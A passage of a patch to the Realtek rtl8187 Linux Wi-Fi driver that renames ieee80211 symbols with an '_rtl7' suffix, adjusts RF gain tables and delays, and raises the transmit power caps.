ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1416,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/Makefile rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/Makefile --- rtl8187_linux_26.1010.0622.2006/beta-8187/Makefile 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/Makefile 2008-01-30 17:38:10.000000000 +0100 @@ -18,6 +18,8 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) + all: modules clean: diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_93cx6.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_93cx6.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_93cx6.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_93cx6.c 2008-01-30 17:38:10.000000000 +0100 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_hw.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_hw.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_hw.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_hw.h 2008-01-30 17:38:11.000000000 +0100 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.c 2008-01-30 17:38:11.000000000 +0100 @@ -173,7 +173,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.h 2008-01-30 17:38:11.000000000 +0100 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225z2.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225z2.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225z2.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225z2.c 2008-02-15 00:49:20.000000000 +0100 @@ -2,12 +2,12 @@ This is part of the rtl8180-sa2400 driver released under the GPL (See file COPYING for details). Copyright (c) 2005 Andrea Merello - - This files contains programming code for the rtl8225 + + This files contains programming code for the rtl8225 radio frontend. - + *Many* thanks to Realtek Corp. for their great support! - + */ @@ -32,51 +32,68 @@ }; u8 rtl8225z2_gain_a[]={ - 0x13,0x27,0x5a,//,0x37,// -82dbm - 0x23,0x23,0x58,//,0x37,// -82dbm - 0x33,0x1f,0x56,//,0x37,// -82dbm - 0x43,0x1b,0x54,//,0x37,// -78dbm - 0x53,0x17,0x51,//,0x37,// -74dbm - 0x63,0x24,0x4f,//,0x37,// -70dbm - 0x73,0x0f,0x4c,//,0x37,// -66dbm + 0x13,0x27,0x5a,//,0x37,// -82dbm + 0x23,0x23,0x58,//,0x37,// -82dbm + 0x33,0x1f,0x56,//,0x37,// -82dbm + 0x43,0x1b,0x54,//,0x37,// -78dbm + 0x53,0x17,0x51,//,0x37,// -74dbm + 0x63,0x24,0x4f,//,0x37,// -70dbm + 0x73,0x0f,0x4c,//,0x37,// -66dbm }; #if 0 u32 rtl8225_chan[] = { 0, //dummy channel 0 - 0x085c, //1 - 0x08dc, //2 - 0x095c, //3 - 0x09dc, //4 - 0x0a5c, //5 - 0x0adc, //6 - 0x0b5c, //7 - 0x0bdc, //8 - 0x0c5c, //9 - 0x0cdc, //10 - 0x0d5c, //11 - 0x0ddc, //12 - 0x0e5c, //13 + 0x085c, //1 + 0x08dc, //2 + 0x095c, //3 + 0x09dc, //4 + 0x0a5c, //5 + 0x0adc, //6 + 0x0b5c, //7 + 0x0bdc, //8 + 0x0c5c, //9 + 0x0cdc, //10 + 0x0d5c, //11 + 0x0ddc, //12 + 0x0e5c, //13 //0x0f5c, //14 - 0x0f72, // 14 + 0x0f72, // 14 }; #endif +#if 1 //- -u16 rtl8225z2_rxgain[]={ +u16 rtl8225z2_rxgain[]={ 0x0400, 0x0401, 0x0402, 0x0403, 0x0404, 0x0405, 0x0408, 0x0409, - 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, + 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, 0x0542, 0x0543, 0x0544, 0x0545, 0x0580, 0x0581, 0x0582, 0x0583, - 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, + 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, 0x0645, 0x0680, 0x0681, 0x0682, 0x0683, 0x0684, 0x0685, 0x0688, 0x0689, 0x068a, 0x068b, 0x068c, 0x0742, 0x0743, 0x0744, 0x0745, 0x0780, 0x0781, 0x0782, 0x0783, 0x0784, 0x0785, 0x0788, 0x0789, 0x078a, 0x078b, 0x078c, 0x078d, 0x0790, 0x0791, 0x0792, 0x0793, - 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, - 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, - 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, + 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb }; +#else +u16 rtl8225z2_rxgain[]={ + 0x0000, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0008, 0x0009, + 0x000a, 0x000b, 0x0102, 0x0103, 0x0104, 0x0105, 0x0140, 0x0141, + 0x0142, 0x0143, 0x0144, 0x0145, 0x0180, 0x0181, 0x0182, 0x0183, + 0x0184, 0x0185, 0x0188, 0x0189, 0x018a, 0x018b, 0x0243, 0x0244, + 0x0245, 0x0280, 0x0281, 0x0282, 0x0283, 0x0284, 0x0285, 0x0288, + 0x0289, 0x028a, 0x028b, 0x028c, 0x0342, 0x0343, 0x0344, 0x0345, + 0x0380, 0x0381, 0x0382, 0x0383, 0x0384, 0x0385, 0x0388, 0x0389, + 0x038a, 0x038b, 0x038c, 0x038d, 0x0390, 0x0391, 0x0392, 0x0393, + 0x0394, 0x0395, 0x0398, 0x0399, 0x039a, 0x039b, 0x039c, 0x039d, + 0x03a0, 0x03a1, 0x03a2, 0x03a3, 0x03a4, 0x03a5, 0x03a8, 0x03a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb +}; +#endif //2005.11.16, u8 ZEBRA2_CCK_OFDM_GAIN_SETTING[]={ @@ -129,23 +146,30 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + u8 mode = priv->ieee80211->mode; - - if(mode == IEEE_B || mode == IEEE_G) + + if((mode&IEEE_B) == IEEE_B || (mode&IEEE_G) == IEEE_G) { + //printk(KERN_WARNING "mode ag!\n"); rtl8225_gain = rtl8225z2_gain_bg; - else + } else { rtl8225_gain = rtl8225z2_gain_a; - + //printk(KERN_WARNING "mode a!\n"); + } + //write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 3]); //write_phy_ofdm(dev, 0x19, rtl8225_gain[gain * 3 + 1]); //write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 2]); //2005.11.17, by ch-hsu write_phy_ofdm(dev, 0x0b, rtl8225_gain[gain * 3]); + mdelay(1); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 1]); + mdelay(1); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 3 + 2]); - write_phy_ofdm(dev, 0x21, 0x37); + mdelay(1); + write_phy_ofdm(dev, 0x21, 0x17); + mdelay(1); } @@ -153,33 +177,33 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_8185 == 2) write_phy_ofdm(dev, 0x21, 0x27); else write_phy_ofdm(dev, 0x21, 0x37); - + write_phy_ofdm(dev, 0x25, 0x20); write_phy_ofdm(dev, 0x11, 0x6); - + if(priv->card_8185 == 1 && priv->card_8185_Bversion) write_phy_ofdm(dev, 0x27, 0x8); else write_phy_ofdm(dev, 0x27, 0x88); - + write_phy_ofdm(dev, 0x14, 0); write_phy_ofdm(dev, 0x16, 0); write_phy_ofdm(dev, 0x15, 0x40); write_phy_ofdm(dev, 0x17, 0x40); - + write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 4]); write_phy_ofdm(dev, 0x23, rtl8225_gain[gain * 4 + 1]); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 4 + 2]); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 4 + 3]); - //rtl8225_set_gain_usb(dev, gain); + //rtl8225_set_gain_usb(dev, gain); } #endif @@ -193,7 +217,7 @@ // ThreeWireReg tdata; int i; short bit, rw; - + u8 wLength = 6; u8 rLength = 12; u8 low2high = 0; @@ -207,20 +231,20 @@ dataRead = 0; - oval &= ~0xf; + oval &= ~0xf; write_nic_word(dev, RFPinsOutput, oval | BB_HOST_BANG_EN ); udelay(4); write_nic_word(dev, RFPinsOutput, oval ); udelay(5); - + rw = 0; - + mask = (low2high) ? 0x01 : (((u32)0x01)<<(32-1)); for(i = 0; i < wLength/2; i++) { bit = ((data2Write&mask) != 0) ? 1 : 0; write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(1); - + write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); @@ -233,9 +257,9 @@ write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(2); break; } - + bit = ((data2Write&mask) != 0) ? 1: 0; - + write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); @@ -252,22 +276,22 @@ for(i = 0; i < rLength; i++) { write_nic_word(dev, RFPinsOutput, rw|oval); udelay(1); - + write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); tmp = read_nic_word(dev, RFPinsInput); - + dataRead |= (tmp & BB_HOST_BANG_CLK ? mask : 0); write_nic_word(dev, RFPinsOutput, (rw|oval)); udelay(2); mask = (low2high) ? (mask<<1) : (mask>>1); } - + write_nic_word(dev, RFPinsOutput, BB_HOST_BANG_EN|BB_HOST_BANG_RW|oval); udelay(2); - write_nic_word(dev, RFPinsEnable, oval2); + write_nic_word(dev, RFPinsEnable, oval2); write_nic_word(dev, RFPinsSelect, oval3); // Set To SW Switch write_nic_word(dev, RFPinsOutput, 0x3a0); @@ -280,61 +304,61 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + out = read_nic_word(dev, RFPinsOutput) & 0xfff3; - + write_nic_word(dev,RFPinsEnable, (read_nic_word(dev,RFPinsEnable) | 0x7)); - + select = read_nic_word(dev, RFPinsSelect); - - write_nic_word(dev, RFPinsSelect, select | 0x7 | + + write_nic_word(dev, RFPinsSelect, select | 0x7 | ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); - + force_pci_posting(dev); udelay(10); - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN );//| 0x1fff); - + force_pci_posting(dev); udelay(2); - + write_nic_word(dev, RFPinsOutput, out); - + force_pci_posting(dev); udelay(10); - - + + for(i=15; i>=0;i--){ - + bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out); - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); i--; bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out); } - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN); - + force_pci_posting(dev); udelay(10); - write_nic_word(dev, RFPinsOutput, out | + write_nic_word(dev, RFPinsOutput, out | ((priv->card_type == USB) ? 4 : BB_HOST_BANG_EN)); - write_nic_word(dev, RFPinsSelect, select | - ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); + write_nic_word(dev, RFPinsSelect, select | + ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); if(priv->card_type == USB) mdelay(2); @@ -348,30 +372,30 @@ short vz2 = 1; /* sw to reg pg 1 */ write_rtl8225(dev, 0, 0x1b7); - + /* reg 8 pg 1 = 23*/ if( read_rtl8225(dev, 8) != 0x588) vz2 = 0; - - else /* reg 9 pg 1 = 24 */ + + else /* reg 9 pg 1 = 24 */ if( read_rtl8225(dev, 9) != 0x700) vz2 = 0; - - /* sw back to pg 0 */ + + /* sw back to pg 0 */ write_rtl8225(dev, 0, 0xb7); return vz2; - + } #if 0 void rtl8225_rf_close(struct net_device *dev) { - write_rtl8225(dev, 0x4, 0x1f); - + write_rtl8225(dev, 0x4, 0x1f); + force_pci_posting(dev); mdelay(1); - + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_OFF); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_OFF); } @@ -380,24 +404,24 @@ short rtl8225_rf_set_sens(struct net_device *dev, short sens) { if (sens <0 || sens > 6) return -1; - + if(sens > 4) write_rtl8225(dev, 0x0c, 0x850); - else + else write_rtl8225(dev, 0x0c, 0x50); sens= 6-sens; rtl8225_set_gain(dev, sens); - + write_phy_cck(dev, 0x41, rtl8225_threshold[sens]); return 0; - + } #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + // int GainIdx; // int GainSetting; int i; @@ -406,44 +430,48 @@ u8 max_cck_power_level; //u8 min_cck_power_level; u8 max_ofdm_power_level; - u8 min_ofdm_power_level; + u8 min_ofdm_power_level; u8 cck_power_level = 0xff & priv->chtxpwr[ch]; u8 ofdm_power_level = 0xff & priv->chtxpwr_ofdm[ch]; - - - max_cck_power_level = 15; + + + max_cck_power_level = 35; //min_cck_power_level = 0; - max_ofdm_power_level = 25; // 12 -> 25 + max_ofdm_power_level = 35; // 12 -> 25 min_ofdm_power_level = 10; - + /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; - + priv->chtxpwr[ch] = max_cck_power_level; + } + cck_power_level += priv->cck_txpwr_base; - + if(cck_power_level > 35) cck_power_level = 35; - - if(ch == 14) + + if(ch == 14) cck_power_table = rtl8225z2_tx_power_cck_ch14; - else + else cck_power_table = rtl8225z2_tx_power_cck; - - + + if(cck_power_level >= 20 && cck_power_level < 30) + cck_power_level = 19; + for(i=0;i<8;i++){ - power = cck_power_table[i]; write_phy_cck(dev, 0x44 + i, power); } - + //write_nic_byte(dev, TX_GAIN_CCK, power); //2005.11.17, write_nic_byte(dev, TX_GAIN_CCK, ZEBRA2_CCK_OFDM_GAIN_SETTING[cck_power_level]); - + force_pci_posting(dev); mdelay(1); - + /* OFDM power setting */ // Old: // if(ofdm_power_level > max_ofdm_power_level) @@ -454,26 +482,26 @@ ofdm_power_level = max_ofdm_power_level; else ofdm_power_level += min_ofdm_power_level; - + ofdm_power_level += priv->ofdm_txpwr_base; - + if(ofdm_power_level > 35) ofdm_power_level = 35; - + rtl8185_set_anaparam2(dev,RTL8225_ANAPARAM2_ON); - + write_phy_ofdm(dev,2,0x42); write_phy_ofdm(dev,5,0); write_phy_ofdm(dev,6,0x40); write_phy_ofdm(dev,7,0); - write_phy_ofdm(dev,8,0x40); - + write_phy_ofdm(dev,8,0x40); + //write_nic_byte(dev, TX_GAIN_OFDM, ofdm_power_level); //2005.11.17, write_nic_byte(dev, TX_GAIN_OFDM, ZEBRA2_CCK_OFDM_GAIN_SETTING[ofdm_power_level]); - + force_pci_posting(dev); mdelay(1); //write_nic_byte(dev, TX_AGC_CONTROL,4); @@ -483,39 +511,39 @@ void rtl8225_set_mode(struct net_device *dev, short modeb) { write_phy_ofdm(dev, 0x15, (modeb ? 0x0 : 0x40)); - write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); + write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); } #endif void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; - + rtl8225z2_SetTXPowerLevel(dev, ch); - + write_rtl8225(dev, 0x7, rtl8225_chan[ch]); - + force_pci_posting(dev); mdelay(10); - + write_nic_byte(dev,SIFS,0x22);// SIFS: 0x22 - + if(gset) - write_nic_byte(dev,DIFS,20); //DIFS: 20 + write_nic_byte(dev,DIFS,20); //DIFS: 20 else - write_nic_byte(dev,DIFS,0x24); //DIFS: 36 - + write_nic_byte(dev,DIFS,0x24); //DIFS: 36 + if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 - + else write_nic_byte(dev,SLOT,0x14); //SLOT: 20 (0x14) - - + + if(gset){ write_nic_byte(dev,EIFS,91 - 20); // EIFS: 91 (0x5B) write_nic_byte(dev,CW_VAL,0x73); //CW VALUE: 0x37 @@ -529,68 +557,68 @@ } #if 0 -void rtl8225_host_pci_init(struct net_device *dev) +void rtl8225_host_pci_init(struct net_device *dev) { write_nic_word(dev, RFPinsOutput, 0x480); - + rtl8185_rf_pins_enable(dev); - + //if(priv->card_8185 == 2 && priv->enable_gpio0 ) /* version D */ //write_nic_word(dev, RFPinsSelect, 0x88); //else write_nic_word(dev, RFPinsSelect, 0x88 | SW_CONTROL_GPIO); /* 0x488 | SW_CONTROL_GPIO */ - + write_nic_byte(dev, GP_ENABLE, 0); - + force_pci_posting(dev); mdelay(200); - + write_nic_word(dev, GP_ENABLE, 0xff & (~(1<<6))); /* bit 6 is for RF on/off detection */ - + } -void rtl8225_host_usb_init(struct net_device *dev) +void rtl8225_host_usb_init(struct net_device *dev) { write_nic_byte(dev,RFPinsSelect+1,0); write_nic_byte(dev,GPIO,0); - + write_nic_byte_E(dev,0x53,read_nic_byte_E(dev,0x53) | (1<<7)); - + write_nic_byte(dev,RFPinsSelect+1,4); write_nic_byte(dev,GPIO,0x20); write_nic_byte(dev,GP_ENABLE,0); - - /* Config BB & RF */ + + /* Config BB & RF */ write_nic_word(dev, RFPinsOutput, 0x80); write_nic_word(dev, RFPinsSelect, 0x80); write_nic_word(dev, RFPinsEnable, 0x80); - + mdelay(100); - mdelay(1000); + mdelay(1000); } #endif -void rtl8225z2_rf_init(struct net_device *dev) +void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; u32 data,addr; - + priv->chan = channel; rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_type == USB) rtl8225_host_usb_init(dev); @@ -598,42 +626,42 @@ rtl8225_host_pci_init(dev); write_nic_dword(dev, RF_TIMING, 0x000a8008); - + brsr = read_nic_word(dev, BRSR); - - write_nic_word(dev, BRSR, 0xffff); + + write_nic_word(dev, BRSR, 0xffff); write_nic_dword(dev, RF_PARA, 0x100044); - + #if 1 //0->1 rtl8180_set_mode(dev, EPROM_CMD_CONFIG); write_nic_byte(dev, CONFIG3, 0x44); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); #endif - - + + rtl8185_rf_pins_enable(dev); // mdelay(1000); write_rtl8225(dev, 0x0, 0x2bf); mdelay(1); - - + + write_rtl8225(dev, 0x1, 0xee0); mdelay(1); write_rtl8225(dev, 0x2, 0x44d); mdelay(1); write_rtl8225(dev, 0x3, 0x441); mdelay(1); - + write_rtl8225(dev, 0x4, 0x8c3);mdelay(1); - - - + + + write_rtl8225(dev, 0x5, 0xc72);mdelay(1); // } - + write_rtl8225(dev, 0x6, 0xe6); mdelay(1); write_rtl8225(dev, 0x7, ((priv->card_type == USB)? 0x82a : rtl8225_chan[channel])); mdelay(1); @@ -653,28 +681,28 @@ write_rtl8225(dev, 0xe, 0x2b); mdelay(1); - write_rtl8225(dev, 0xf, 0x114); - - + write_rtl8225(dev, 0xf, 0x114); + + mdelay(100); - - + + //if(priv->card_type != USB) /* maybe not needed even for 8185 */ -// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); - +// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); + write_rtl8225(dev, 0x0, 0x1b7); - + for(i=0;i<95;i++){ write_rtl8225(dev, 0x1, (u8)(i+1)); - + #if 0 - if(priv->phy_ver == 1) + if(priv->phy_ver == 1) /* version A */ write_rtl8225(dev, 0x2, rtl8225a_rxgain[i]); else #endif /* version B & C & D*/ - + write_rtl8225(dev, 0x2, rtl8225z2_rxgain[i]); } write_rtl8225(dev, 0x3, 0x80); @@ -683,16 +711,16 @@ write_rtl8225(dev, 0x0, 0xb7); write_rtl8225(dev, 0x2, 0xc4d); - + if(priv->card_type == USB){ // force_pci_posting(dev); mdelay(200); - + write_rtl8225(dev, 0x2, 0x44d); - + // force_pci_posting(dev); mdelay(100); - + }//End of if(priv->card_type == USB) /* FIXME!! rtl8187 we have to check if calibrarion * is successful and eventually cal. again (repeat @@ -713,23 +741,23 @@ } } //force_pci_posting(dev); - - mdelay(200); //200 for 8187 - - + + mdelay(200); //200 for 8187 + + // //if(priv->card_type != USB){ // write_rtl8225(dev, 0x2, 0x44d); // write_rtl8225(dev, 0x7, rtl8225_chan[channel]); // write_rtl8225(dev, 0x2, 0x47d); -// +// // force_pci_posting(dev); // mdelay(100); -// +// // write_rtl8225(dev, 0x2, 0x44d); // //} - - write_rtl8225(dev, 0x0, 0x2bf); - + + write_rtl8225(dev, 0x0, 0x2bf); + if(priv->card_type != USB) rtl8185_rf_pins_enable(dev); //set up ZEBRA AGC table, 2005.11.17, @@ -744,20 +772,20 @@ mdelay(1); } -#if 0 +#if 0 for(i=0;i<128;i++){ write_phy_ofdm(dev, 0xb, rtl8225_agc[i]); - - mdelay(1); + + mdelay(1); write_phy_ofdm(dev, 0xa, (u8)i+ 0x80); - - mdelay(1); + + mdelay(1); } #endif - + force_pci_posting(dev); mdelay(1); - + write_phy_ofdm(dev, 0x0, 0x1); mdelay(1); write_phy_ofdm(dev, 0x1, 0x2); mdelay(1); write_phy_ofdm(dev, 0x2, ((priv->card_type == USB)? 0x42 : 0x62)); mdelay(1); @@ -771,20 +799,20 @@ write_phy_ofdm(dev, 0xa, 0x8); mdelay(1); - //write_phy_ofdm(dev, 0x18, 0xef); + //write_phy_ofdm(dev, 0x18, 0xef); // } //} write_phy_ofdm(dev, 0xb, 0x80); mdelay(1); write_phy_ofdm(dev, 0xc, 0x1);mdelay(1); - + //if(priv->card_type != USB) - write_phy_ofdm(dev, 0xd, 0x43); - + write_phy_ofdm(dev, 0xd, 0x43); + write_phy_ofdm(dev, 0xe, 0xd3);mdelay(1); - + #if 0 if(priv->card_8185 == 1){ if(priv->card_8185_Bversion) @@ -796,17 +824,17 @@ write_phy_ofdm(dev, 0xf, 0x38);mdelay(1); /*ver D & 8187*/ // } - + // if(priv->card_8185 == 1 && priv->card_8185_Bversion) // write_phy_ofdm(dev, 0x10, 0x04);/*ver B*/ // else write_phy_ofdm(dev, 0x10, 0x84);mdelay(1); /*ver C & D & 8187*/ - + write_phy_ofdm(dev, 0x11, 0x07);mdelay(1); /*agc resp time 700*/ - + // if(priv->card_8185 == 2){ /* Ver D & 8187*/ write_phy_ofdm(dev, 0x12, 0x20);mdelay(1); @@ -824,47 +852,46 @@ 